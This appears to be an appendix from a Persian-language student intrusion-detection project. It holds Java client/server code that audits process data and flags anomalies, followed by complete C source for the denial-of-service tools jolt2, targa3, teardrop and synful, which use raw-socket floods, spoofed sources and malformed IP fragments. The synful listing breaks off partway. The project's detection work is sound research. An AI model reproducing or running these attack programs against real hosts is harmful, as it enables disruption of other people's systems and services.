import java.io.*; 
import java.lang.*; 
 
public class Server { 
   public static final int SERVER_PORT = 4445; 
   Socket clientSocket = null; 
   ServerSocket serverSocket = null; 
   BufferedReader in = null; 
   //------------------------------------- 
 
   public static void main(String[] args) { 
     Server server = new Server(); 
     server.start(); 
   } 
   //------------------------------------- 
 
   public Server() { 
     try { 
        serverSocket = new ServerSocket(Server.SERVER_PORT); 
     } catch(IOException e) { 
        System.out.println("Could not listen on port: " + Server.SERVER_PORT); 
        System.exit(1); 
     } 
 
     try { 
        clientSocket = serverSocket.accept(); 
        System.out.println("client connected ..."); 
     } catch(Exception e) { 
        System.out.println("Accept failed."); 
        System.exit(1); 
     } 
 
     try { 
        this.in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); 
     } catch(Exception e) { 
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        System.out.println("can send/receive data ..."); 
        System.exit(1); 
     } 
   } 
   //------------------------------------- 
 
   public void start() { 
     String result; 
     while (true) { 
        try { 
          result = this.in.readLine(); 
        System.out.println("result: " + result); 
        } catch(Exception e) { 
          System.out.println("can not recieve data ..."); 
          System.exit(1); 
        } 
     } 
   } 
 
} 

 
• Client 

 
import java.io.*; 
import java.net.*; 
 
class IDSData { 
   public String command = new String(); 
   public int pid; 
   public int ppid; 
   public String user = new String(); 
   public float cpu; 
   public float mem; 
   public String state = new String(); 
   public String cfgMD5 = new String(); 
   public String codeMD5 = new String(); 
}; 
 
public class LocalAudit { 
   public static final String SERVER_ADDR = new String("192.168.0.2"); 
   public static final int SERVER_PORT = 4445; 
   public static final int DELAY = 1000; 
   int idsIndex = 0; 
   IDSData[] idsData = new IDSData[100]; 
   FileReader fileReader = null; 
   BufferedReader bufferReader = null; 
    long currentTime; 
    PrintWriter out = null; 
    Socket sockfd = null; 
 //------------------------------- 
 
   public static void main(String args[]) { 
     LocalAudit localAudit = new LocalAudit("d:\\result"); 
     localAudit.start(); 
   } 
 //------------------------------- 
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   public LocalAudit(String fileName) { 
      this.currentTime = System.currentTimeMillis(); 
      try { 
        this.sockfd = new Socket(LocalAudit.SERVER_ADDR, LocalAudit.SERVER_PORT); 
        this.out = new PrintWriter(sockfd.getOutputStream(), true); 
      } catch(UnknownHostException e) { 
        System.out.println("can not connect ..."); 
        System.exit(1); 
     } catch(Exception e) { 
        System.out.println("io error ..."); 
        System.exit(1); 
     } 
     try { 
        this.fileReader = new FileReader(fileName); 
        this.bufferReader = new BufferedReader(this.fileReader); 
     } catch(Exception e) { 
        System.out.println("\ncan not open input file ..."); 
     } 
     this.readFile(); 
   } 
 //------------------------------- 
 
   void readFile() { 
     String s; 
     try { 
        while ((s = this.bufferReader.readLine()) != null) { 
          this.idsData[this.idsIndex] = new IDSData(); 
          this.idsData[this.idsIndex++] = this.parseData(s); 
        } 
     } catch (IOException e) { 
        System.out.println("\ncan not read from file ..."); 
     } 
   } 
   //------------------------------- 
 
   IDSData parseData(String s) { 
    int index1 = 0, index2 = -1; 
     IDSData data = new IDSData(); 
 
     for (int i = 0; i < 9; i++) { 
        index1 = index2 + 1; 
        index2 = s.indexOf(' ', index1); 
        switch (i) { 
           case 0: 
             data.command = s.substring(index1, index2); 
             break; 
          case 1: 
             data.pid = Integer.valueOf(s.substring(index1, index2)).intValue(); 
             break; 
          case 2: 
             data.ppid = Integer.valueOf(s.substring(index1, index2)).intValue(); 
             break; 
          case 3: 
             data.user = s.substring(index1, index2); 
             break; 
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          case 4: 
             data.cpu = Float.valueOf(s.substring(index1, index2)).floatValue(); 
             break; 
          case 5: 
             data.mem = Float.valueOf(s.substring(index1, index2)).floatValue(); 
             break; 
          case 6: 
             data.state = s.substring(index1, index2); 
             break; 
          case 7: 
             data.cfgMD5 = s.substring(index1, index2); 
             break; 
          case 8: 
             data.codeMD5 = s.substring(index1); 
             break; 
        } 
     } 
     return data; 
   } 
   //------------------------------- 
 
   public void start() { 
  boolean result = false; 
    long time; 
 
  while (true) { 
   result = checkData(); 
      time = System.currentTimeMillis() - this.currentTime; 
   System.out.println("result: " + result); 
      System.out.println("response time: " + time); 
      this.currentTime = System.currentTimeMillis(); 
      this.out.println(result); 
   try { 
    Thread.sleep(LocalAudit.DELAY); 
   } catch(Exception e) { 
    System.out.println("can not sleep ..."); 
    System.exit(1); 
   } 
  } 
 } 
   //------------------------------- 
 
   boolean checkData() { 
     float mem = 0, cpu = 0; 
     boolean flag = true; 
     IDSData data = this.idsData[0]; 
     for (int i = 1; i < this.idsIndex; i++) { 
        if (data.pid != this.idsData[i].pid || 
            data.ppid != this.idsData[i].ppid || 
            !data.user.equals(this.idsData[i].user)  || 
            this.idsData[i].state.equals("Z") || 
            !data.cfgMD5.equals(this.idsData[i].cfgMD5) || 
            !data.codeMD5.equals(this.idsData[i].codeMD5)) 
          return false; 
      } 
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     for (int i = 0; i < this.idsIndex; i++) { 
        mem += this.idsData[i].mem; 
        cpu += this.idsData[i].cpu; 
     } 
 
     if ((mem / this.idsIndex) > 50 || (cpu / this.idsIndex) > 50) 
         return false; 
 
     return true; 
   } 
} 

 

  )متمركز(كننده صحت فرايند  س بررسي بازر-۴
• Server 

import java.net.*; 
import java.io.*; 
import java.lang.*; 
 
class IDSData { 
 public String command = new String(); 
 public int pid; 
   public int ppid; 
   public String user = new String(); 
   public float cpu; 
   public float mem; 
   public String state = new String(); 
   public String cfgMD5 = new String(); 
   public String codeMD5 = new String(); 
 
   public String toString() { 
     String str; 
     str = command + " " + pid + " " + codeMD5; 
     return str; 
   } 
}; 
 
public class Server { 
   public static final int SERVER_PORT = 4445; 
   int idsIndex = 0; 
   IDSData[] idsData = new IDSData[100]; 
   Socket clientSocket = null; 
   ServerSocket serverSocket = null; 
   BufferedReader in = null; 
    PrintWriter out = null; 
   //------------------------------------- 
 
   public static void main(String[] args) { 
     Server server = new Server(); 
     server.start(); 
   } 
   //------------------------------------- 
 
   public Server() { 
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     try { 
        serverSocket = new ServerSocket(Server.SERVER_PORT); 
     } catch(IOException e) { 
        System.out.println("Could not listen on port: " + Server.SERVER_PORT); 
        System.exit(1); 
     } 
 
     try { 
        clientSocket = serverSocket.accept(); 
        System.out.println("client connected ..."); 
     } catch(Exception e) { 
        System.out.println("Accept failed."); 
        System.exit(1); 
     } 
 
     try { 
          this.out = new PrintWriter(clientSocket.getOutputStream(), true); 
        this.in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); 
     } catch(Exception e) { 
        System.out.println("can send/receive data ..."); 
        System.exit(1); 
     } 
   } 
   //------------------------------------- 
 
   public void start() { 
     boolean result = false; 
     while (true) { 
        this.receiveData(); 
        result = checkData(); 
        this.idsIndex = 0; 
        System.out.println("result: " + result); 
          this.out.println("."); 
     } 
   } 
   //------------------------------------- 
 
   void receiveData() { 
     String str; 
     try { 
        while (true) { 
          str = this.in.readLine(); 
          if (str.compareTo("end") == 0) 
            break; 
 
          this.idsData[this.idsIndex] = new IDSData(); 
          this.idsData[this.idsIndex++] = this.parseData(str); 
        } 
     } catch(Exception e) { 
        System.out.println("can not receive data ..."); 
        System.exit(1); 
     } 
   } 
   //------------------------------------- 
 
   IDSData parseData(String s) { 
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     int index1 = 0, index2 = -1; 
     IDSData data = new IDSData(); 
 
     for (int i = 0; i < 9; i++) { 
        index1 = index2 + 1; 
        index2 = s.indexOf(' ', index1); 
        switch (i) { 
          case 0: 
             data.command = s.substring(index1, index2); 
             break; 
          case 1: 
             data.pid = Integer.valueOf(s.substring(index1, index2)).intValue(); 
             break; 
          case 2: 
             data.ppid = Integer.valueOf(s.substring(index1, index2)).intValue(); 
             break; 
          case 3: 
             data.user = s.substring(index1, index2); 
             break; 
          case 4: 
             data.cpu = Float.valueOf(s.substring(index1, index2)).floatValue(); 
             break; 
          case 5: 
             data.mem = Float.valueOf(s.substring(index1, index2)).floatValue(); 
             break; 
          case 6: 
             data.state = s.substring(index1, index2); 
             break; 
          case 7: 
             data.cfgMD5 = s.substring(index1, index2); 
             break; 
          case 8: 
             data.codeMD5 = s.substring(index1); 
             break; 
        } 
     } 
     return data; 
   } 
   //------------------------------------- 
 
   boolean checkData() { 
     float mem = 0, cpu = 0; 
     boolean flag = true; 
     IDSData data = this.idsData[0]; 
     for (int i = 1; i < this.idsIndex; i++) { 
        if (data.pid != this.idsData[i].pid || 
            data.ppid != this.idsData[i].ppid || 
            !data.user.equals(this.idsData[i].user)  || 
            this.idsData[i].state.equals("Z") || 
            !data.cfgMD5.equals(this.idsData[i].cfgMD5) || 
            !data.codeMD5.equals(this.idsData[i].codeMD5)) 
          return false; 
      } 
 
     for (int i = 0; i < this.idsIndex; i++) { 
        mem += this.idsData[i].mem; 
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        cpu += this.idsData[i].cpu; 
     } 
 
     if ((mem / this.idsIndex) > 50 || (cpu / this.idsIndex) > 50) 
         return false; 
 
     return true; 
   } 
} 

 
• Client 

 
import java.net.*; 
import java.io.*; 
import java.lang.*; 
 
public class Client { 
 public static final String SERVER_ADDR = new String("192.168.0.2"); 
 public static final int SERVER_PORT = 4445; 
   public static final int DELAY = 1000; 
 
   String fileName = new String(); 
   FileReader fileReader = null; 
   BufferedReader bufferReader = null; 
   Socket sockfd = null; 
   PrintWriter out = null; 
    BufferedReader in = null; 
    long currentTime; 
 
   //------------------------------------ 
   public static void main(String[] args) { 
     Client client = new Client("d:\\result"); 
     client.sendFile(); 
   } 
 
   //------------------------------------ 
   public Client(String fileName) { 
      this.currentTime = System.currentTimeMillis(); 
     this.fileName = fileName; 
     try { 
        this.sockfd = new Socket(Client.SERVER_ADDR, Client.SERVER_PORT); 
        this.out = new PrintWriter(sockfd.getOutputStream(), true); 
          in = new BufferedReader(new InputStreamReader(sockfd.getInputStream())); 
     } catch(UnknownHostException e) { 
        System.out.println("can not connect ..."); 
        System.exit(1); 
     } catch(Exception e) { 
        System.out.println("io error ..."); 
        System.exit(1); 
     } 
   } 
 
   //------------------------------------ 
   public void sendFile() { 
     String fromServer; 
      long time; 
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     try { 
        while (true) { 
          this.sendData(); 
            fromServer = this.in.readLine(); 
            time = System.currentTimeMillis() - this.currentTime; 
            System.out.println("response time: " + time); 
            this.currentTime = System.currentTimeMillis(); 
          Thread.sleep(Client.DELAY); 
        } 
     } catch(Exception e) { 
        System.out.println("can not get server request ..."); 
        System.exit(1); 
     } 
   } 
 
   //------------------------------------ 
   void sendData() { 
     String str; 
 
     try { 
       this.fileReader = new FileReader(fileName); 
        this.bufferReader = new BufferedReader(this.fileReader); 
     } catch(Exception e) { 
        System.out.println("\ncan not open input file ..."); 
        System.exit(1); 
     } 
 
     try { 
        while ((str = this.bufferReader.readLine()) != null) 
         this.out.println(str); 
         this.out.println("end"); 
     } catch (IOException e) { 
        System.out.println("\ncan nor read from file ..."); 
     } 
 
     try { 
        this.fileReader.close(); 
        this.bufferReader.close(); 
        this.fileReader = null; 
        this.bufferReader = null; 
     } catch(Exception e) { 
        System.out.println("can not close ..."); 
        System.exit(1); 
     } 
   } 
} 
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  ۲ضميمه 
  .شود در اين بخش كد حملاتي كه در اين پروژه از آنها استفاده شده است آورده مي

  jolt2 حمله -۱
  .برسد% ۱۰۰شود كه ميزان استفاده از پردازنده به  اين حمله باعث مي

#include <stdio.h> 
#include <string.h> 
#include <netdb.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/ip_icmp.h> 
#include <netinet/udp.h> 
#include <arpa/inet.h> 
#include <getopt.h> 
 
struct _pkt 
{ 
    struct iphdr ip; 
    union  
    { 
 struct icmphdr  icmp; 
        struct udphdr   udp; 
    } proto; 
    char data; 
} pkt; 
 
int icmplen = sizeof(struct icmphdr); 
int udplen = sizeof(struct udphdr); 
int iplen = sizeof(struct iphdr); 
int spf_sck; 
//--------------------------------------- 
 
void usage(char *pname) 
{ 
    fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); 
    fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); 
    exit(0); 
} 
//--------------------------------------- 
 
u_long host_to_ip(char *host_name) 
{ 
    static  u_long ip_bytes; 
    struct hostent *res; 
 
    res = gethostbyname(host_name); 
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    if (res == NULL) 
  return (0); 
    memcpy(&ip_bytes, res->h_addr, res->h_length); 
    return (ip_bytes); 
} 
//--------------------------------------- 
 
void quit(char *reason) 
{ 
    perror(reason); 
    close(spf_sck); 
    exit(-1); 
} 
//--------------------------------------- 
 
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) 
{ 
    int bs, psize; 
    unsigned long x; 
    struct sockaddr_in to; 
 
    to.sin_family = AF_INET; 
    to.sin_port = 1235; 
    to.sin_addr.s_addr = dst_addr; 
 
    if (port) 
  psize = iplen + udplen + 1; 
    else 
  psize = iplen + icmplen + 1; 
    memset(&pkt, 0, psize); 
 
    pkt.ip.version = 4; 
    pkt.ip.ihl = 5; 
    pkt.ip.tot_len = htons(iplen + icmplen) + 40; 
    pkt.ip.id = htons(0x455); 
    pkt.ip.ttl = 255; 
    pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); 
    pkt.ip.saddr = src_addr; 
    pkt.ip.daddr = dst_addr; 
    pkt.ip.frag_off = htons (8190); 
   
    if (port) 
    { 
  pkt.proto.udp.source = htons(port|1235); 
        pkt.proto.udp.dest = htons(port); 
        pkt.proto.udp.len = htons(9); 
        pkt.data = 'a'; 
    } 
    else 
    { 
  pkt.proto.icmp.type = ICMP_ECHO; 
        pkt.proto.icmp.code = 0; 
        pkt.proto.icmp.checksum = 0; 
    } 
 
    while (1) 
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    { 
  bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); 
    } 
    return bs; 
   
} 
//--------------------------------------- 
 
int main(int argc, char *argv[]) 
{ 
    u_long  src_addr, dst_addr; 
    int i, bs=1, port=0; 
    char hostname[32]; 
 
    if (argc < 2) 
  usage (argv[0]); 
 
    gethostname (hostname, 32); 
    src_addr = host_to_ip(hostname); 
 
    while ((i = getopt (argc, argv, "s:p:h")) != EOF) 
    { 
  switch (i) 
        { 
         case 's': 
          dst_addr = host_to_ip(optarg); 
          if (!dst_addr) 
              quit("Bad source address given."); 
          break; 
 
       case 'p': 
          port = atoi(optarg); 
          if ((port <= 0) || (port > 65535)) 
              quit ("Invalid port number given."); 
          break; 
 

        case 'h': 
         default: 
           usage (argv[0]); 
        } 
 } 
 
    dst_addr = host_to_ip(argv[argc-1]); 
    if (!dst_addr) 
  quit("Bad destination address given."); 
 
    spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 
    if (!spf_sck) 
  quit("socket()"); 
    if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) 
  quit("IP_HDRINCL"); 
 
    do_frags (spf_sck, src_addr, dst_addr, port); 
} 
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  targa3 حمله -۲
د و بدين ترتيب آن سيستم را با مشكل مواجه شو ناسب به سيستم مورد نظر ارسال ميهاي نام در اين حمله بسته

  .كند مي
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <time.h> 
#include <signal.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <sys/socket.h> 
 
u_char rseed[4096]; 
int rsi, rnd, pid; 
 
#if __BYTE_ORDER == __LITTLE_ENDIAN 
#ifndef htons 
unsigned short int htons (unsigned short int hostshort); 
#endif 
#define TONS(n) htons(n) 
#elif __BYTE_ORDER == __BIG_ENDIAN 
#define TONS(n) (n) 
#endif 
//--------------------------------------- 
 
struct sa_in 
{ 
    unsigned short int sin_family, sin_port; 
    struct 
    { 
        unsigned int s_addr; 
    } 
    sin_addr; 
    unsigned char sin_zero[8]; 
}; 
//--------------------------------------- 
 
struct iph 
{    /* IP header */ 
#if __BYTE_ORDER == __LITTLE_ENDIAN 
#define TONS(n) htons(n) 
unsigned char ihl: 
    4; 
unsigned char version: 
    4; 
#elif __BYTE_ORDER == __BIG_ENDIAN 
#define TONS(n) (n) 
unsigned char version: 
    4; 
unsigned char ihl: 
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    4; 
#endif 
    unsigned char tos; 
    unsigned short int tot_len; 
    unsigned short int id; 
    unsigned short int frag_off; 
    unsigned char ttl; 
    unsigned char protocol; 
    unsigned short int check; 
    unsigned int saddr; 
    unsigned int daddr; 
}; 
 
unsigned long int inet_addr (const char *cp); 
//--------------------------------------- 
 
unsigned int realrand (int low, int high) 
{ 
  int evil[2]; 
  evil[0] = rseed[rsi]; 
  evil[1] = rseed[rsi + 1]; 
  rsi += 2; 
  if (evil[0] == 0x00) 
    evil[0]++; 
  if (evil[1] == 0x00) 
    evil[1]++; 
  srandom (time (0)); 
  srand (random () << pid % evil[0] >> evil[1]); /* don't ask :P */ 
  return ((rand () % (int) (((high) + 1) - (low))) + (low)); 
} 
//--------------------------------------- 
 
void sigh (int sig) 
{ 
  puts (" ] �[0m\n"); 
  exit (0); 
} 
//--------------------------------------- 
 
int main (int argc, char **argv) 
{ 
  int s = socket (AF_INET, SOCK_RAW, 255); /* IPPROTO_RAW */ 
  int res, psize, loopy, targets = 0, tind, count = -1; 
  char *packet, ansi[16]; 
  struct sa_in sin; 
  struct iph *ip; 
  u_long target[200]; 
 
  int proto[14] = 
    {    /* known internet protcols */ 
      0, 1, 2, 4, 6, 8, 12, 17, 22, 41, 58, 255, 0, 
    }; 
  int frags[10] = 
    {    /* (un)common fragment values */ 
      0, 0, 0, 8192, 0x4, 0x6, 16383, 1, 0, 
    }; 
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  int flags[7] = 
    {    /* (un)common message flags */ 
      0, 0, 0, 0x4, 0, 0x1, 
    }; 
 
  rnd = open ("/dev/urandom", O_RDONLY); 
  read (rnd, rseed, 4095); 
  rsi = 0; 
 
  snprintf (ansi, 15, "�[%d;3%dm", realrand (0, 1), realrand (1, 7)); 
  printf ("\t\t%starga 3.0 by Mixter�[0m\n", ansi); 
  fflush (stdout); 
 
  if (argc < 2) 
  { 
      fprintf (stderr, "usage: %s <ip1> [ip2] ... [-c count]\n", argv[0]); 
      exit (-1); 
  } 
 
  if (argc > 201) 
  { 
      fprintf (stderr, "cannot target more than 200 hosts!\n"); 
      exit (-1); 
  } 
 
  for (loopy = 1; loopy < argc; loopy++) 
  { 
      if (strcmp (argv[loopy - 1], "-c") == 0) 
      { 
          if (atoi (argv[loopy]) > 1) 
            count = atoi (argv[loopy]); 
          continue; 
      } 
      if (inet_addr (argv[loopy]) != -1) 
      { 
          target[targets] = inet_addr (argv[loopy]); 
          targets++; 
      } 
  } 
 
  if (!targets) 
  { 
      fprintf (stderr, "no valid ips found!\n"); 
      exit (-1); 
  } 
 
  snprintf (ansi, 15, "�[%d;3%dm", realrand (0, 1), realrand (1, 7)); 
  printf ("%s\tTargets:\t%d\n", ansi, targets); 
  printf ("\tCount:\t\t"); 
  if (count == -1) 
    puts ("infinite"); 
  else 
    printf ("%d\n", count); 
 
  printf ("   [ "); 
  fflush(0); 
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  for (res = 0; res < 18; res++) 
    signal (res, sigh); 
 
  pid = getpid (); 
  psize = sizeof (struct iph) + realrand (128, 512); 
  packet = calloc (1, psize); 
  ip = (struct iph *) packet; 
 
  setsockopt (s, 0, 3, "1", sizeof ("1")); /* IP_HDRINCL: header included */ 
  sin.sin_family = PF_INET; 
  sin.sin_port = TONS (0); 
  while (count != 0) 
  { 
      if (count != -1) 
        count--; 
      for (loopy = 0; loopy < 0xff;) 
      { 
          for (tind = 0; tind < targets + 1; tind++) 
          { 
              sin.sin_addr.s_addr = target[tind]; 
              if (rsi > 4000) 
              { 
                  read (rnd, rseed, 4095); 
                  rsi = 0; 
              } 
              read (rnd, packet, psize); 
              proto[13] = realrand (0, 255); 
              frags[9] = realrand (0, 8100); 
              flags[6] = realrand (0, 0xf); 
              ip->version = 4; 
              ip->ihl = 5; 
              ip->tos = 0; 
              ip->tot_len = TONS (psize); 
              ip->id = TONS (realrand (1, 10000)); 
              ip->ttl = 0x7f; 
              ip->protocol = proto[(int) realrand (0, 13)]; 
              ip->frag_off = TONS (frags[(int) realrand (0, 9)]); 
              ip->check = 0; 
              ip->saddr = random (); 
              ip->daddr = target[tind]; 
              res = sendto (s, 
                            packet, 
                            psize, 
                            flags[(int) realrand (0, 6)], 
                            (struct sockaddr *) &sin, 
                            sizeof (struct sockaddr)); 
              if (res) 
                loopy++; 
          } 
      } 
      snprintf (ansi, 15, "�[%d;3%dm", realrand (0, 1), realrand (1, 7)); 
      printf ("%s.", ansi); 
      usleep (200); 
      fflush (stdout); 
  } 
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  free (packet);  /* free willy */ 
 
  puts (" ]�[0m\n"); 
 
  return 0; 
} 

 teardrop حمله -۳
اين مساله باعث . شود كه همپوشاني داشته باشد اي ارسال مي  شده به گونهfragmentهاي   بستهoffsetدر اين حمله 

  . سيستم مورد هجوم مشكل ايجاد شودprotocol stackشود كه در  مي
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <netinet/udp.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/socket.h> 
 
#ifdef STRANGE_BSD_BYTE_ORDERING_THING 
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ 
#define FIX(n)  (n) 
#else                   /* OpenBSD 2.1, all Linux */ 
#define FIX(n)  htons(n) 
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */ 
 
#define IP_MF   0x2000  /* More IP fragment en route */ 
#define IPH     0x14    /* IP header size */ 
#define UDPH    0x8     /* UDP header size */ 
#define PADDING 0x1c    /* datagram frame padding for first packet */ 
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */ 
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can 
                         * withstand maybe 5 or 10 sometimes...  Experiment. 
                         */ 
void usage(u_char *); 
u_long name_resolve(u_char *); 
u_short in_cksum(u_short *, int); 
void send_frags(int, u_long, u_long, u_short, u_short); 
//--------------------------------------- 
 
int main(int argc, char **argv) 
{ 
    int one = 1, count = 0, i, rip_sock; 
    u_long  src_ip = 0, dst_ip = 0; 
    u_short src_prt = 0, dst_prt = 0; 
    struct in_addr addr; 
 
    fprintf(stderr, "teardrop   route|daemon9\n\n"); 
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    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 
    { 
        perror("raw socket"); 
        exit(1); 
    } 
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) 
        < 0) 
    { 
        perror("IP_HDRINCL"); 
        exit(1); 
    } 
    if (argc < 3) usage(argv[0]); 
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) 
    { 
        fprintf(stderr, "What the hell kind of IP address is that?\n"); 
        exit(1); 
    } 
 
    while ((i = getopt(argc, argv, "s:t:n:")) != EOF) 
    { 
        switch (i) 
        { 
            case 's':               /* source port (should be emphemeral) */ 
                src_prt = (u_short)atoi(optarg); 
                break; 
            case 't':               /* dest port (DNS, anyone?) */ 
                dst_prt = (u_short)atoi(optarg); 
                break; 
            case 'n':               /* number to send */ 
                count   = atoi(optarg); 
                break; 
            default : 
                usage(argv[0]); 
                break;              /* NOTREACHED */ 
        } 
    } 
    srandom((unsigned)(time((time_t)0))); 
    if (!src_prt) src_prt = (random() % 0xffff); 
    if (!dst_prt) dst_prt = (random() % 0xffff); 
    if (!count)   count   = COUNT; 
 
    fprintf(stderr, "Death on flaxen wings:\n"); 
    addr.s_addr = src_ip; 
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); 
    addr.s_addr = dst_ip; 
    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt); 
    fprintf(stderr, " Amt: %5d\n", count); 
    fprintf(stderr, "[ "); 
 
    for (i = 0; i < count; i++) 
    { 
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); 
        fprintf(stderr, "b00m "); 
        usleep(500); 
    } 
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    fprintf(stderr, "]\n"); 
    return (0); 
} 
//--------------------------------------- 
 
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, 
                u_short dst_prt) 
{ 
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */ 
    u_char byte;                            /* a byte */ 
    struct sockaddr_in sin;                 /* socket protocol structure */ 
 
    sin.sin_family      = AF_INET; 
    sin.sin_port        = src_prt; 
    sin.sin_addr.s_addr = dst_ip; 
 
    packet = (u_char *)malloc(IPH + UDPH + PADDING); 
    p_ptr  = packet; 
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING); 
 
    byte = 0x45;                        /* IP version and header length */ 
    memcpy(p_ptr, &byte, sizeof(u_char)); 
    p_ptr += 2;                         /* IP TOS (skipped) */ 
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(242);   /* IP id */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */ 
    byte = IPPROTO_UDP; 
    memcpy(p_ptr + 1, &byte, sizeof(u_char)); 
    p_ptr += 4;                         /* IP checksum filled in by kernel */ 
    *((u_long *)p_ptr) = src_ip;        /* IP source address */ 
    p_ptr += 4; 
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */ 
    p_ptr += 4; 
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */ 
    p_ptr += 2; 
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */ 
 
    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, 
                sizeof(struct sockaddr)) == -1) 
    { 
        perror("\nsendto"); 
        free(packet); 
        exit(1); 
    } 
 
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */ 
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); 
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */ 
    *((u_short *)p_ptr) = FIX(MAGIC); 
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    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, 
                sizeof(struct sockaddr)) == -1) 
    { 
        perror("\nsendto"); 
        free(packet); 
        exit(1); 
    } 
    free(packet); 
} 
//--------------------------------------- 
 
u_long name_resolve(u_char *host_name) 
{ 
    struct in_addr addr; 
    struct hostent *host_ent; 
 
    if ((addr.s_addr = inet_addr(host_name)) == -1) 
    { 
        if (!(host_ent = gethostbyname(host_name))) return (0); 
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); 
    } 
    return (addr.s_addr); 
} 
 
void usage(u_char *name) 
{ 
    fprintf(stderr, 
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", 
            name); 
    exit(0); 
} 
 

 synful حمله -۴
  . سازد  به دستگاه مقابل آن را دچار مشكل ميsynهاي  در اين حمله با ارسال حجم زيادي از بسته

#include <stdio.h> 
#include <stdlib.h> 
#include <signal.h> 
#include <string.h> 
#include <unistd.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/time.h> 
#include <arpa/inet.h> 
#include <linux/ip.h> 
#include <linux/tcp.h> 
 
void dosynpacket(unsigned int, unsigned int, unsigned short, unsigned short); 
unsigned short in_cksum(unsigned short *, int); 
unsigned int host2ip(char *); 
void initrand(); 
//--------------------------------------- 
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main(int argc, char **argv) 
{ 
   unsigned int srchost; 
   char tmpsrchost[12]; 
   int i,s1,s2,s3,s4; 
   unsigned int dsthost; 
   unsigned short port=80; 
   unsigned short random_port; 
   unsigned int number=1000;   
   printf("synful [It's so synful to send those spoofed SYN's]\n"); 
   printf("Hacked out by \\\\StOrM\\\\\n\n"); 
   if(argc < 2) 
   { 
      printf("syntax: synful targetIP\n", argv[0]); 
      exit(0); 
   } 
   initrand(); 
   dsthost = host2ip(argv[1]); 
   if(argc >= 3) port = atoi(argv[2]); 
   if(argc >= 4) number = atoi(argv[3]); 
   if(port == 0) port = 80; 
   if(number == 0) number = 1000; 
   printf("Destination  : %s\n",argv[1]); 
   printf("Port         : %u\n",port); 
   printf("NumberOfTimes: %d\n\n", number);    
   for(i=0;i < number;i++) 
   { 
      s1 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));       
      s2 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));       
      s3 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));       
      s4 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));       
      random_port = 1+(int) (10000.0*rand()/(RAND_MAX+1.0)); 
      sprintf(tmpsrchost,"%d.%d.%d.%d",s1,s2,s3,s4); 
      printf("Being Synful to %s at port %u from %s port %u\n", argv[1], port, tmpsrchost, random_port); 
      srchost = host2ip(tmpsrchost); 
      dosynpacket(srchost, dsthost, port, random_port); 
   } 
} 
//--------------------------------------- 
 
void dosynpacket(unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port, unsigned 
short ran_port) { 
   struct send_tcp 
   { 
      struct iphdr ip; 
      struct tcphdr tcp; 
   } send_tcp; 
   struct pseudo_header 
   { 
      unsigned int source_address; 
      unsigned int dest_address; 
      unsigned char placeholder; 
      unsigned char protocol; 
      unsigned short tcp_length; 
      struct tcphdr tcp; 
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   } pseudo_header; 
   int tcp_socket; 
   struct sockaddr_in sin; 
   int sinlen; 
             
   /* form ip packet */ 
   send_tcp.ip.ihl = 5; 
   send_tcp.ip.version = 4; 
   send_tcp.ip.tos = 0; 
   send_tcp.ip.tot_len = htons(40); 
   send_tcp.ip.id = ran_port; 
   send_tcp.ip.frag_off = 0; 
   send_tcp.ip.ttl = 255; 
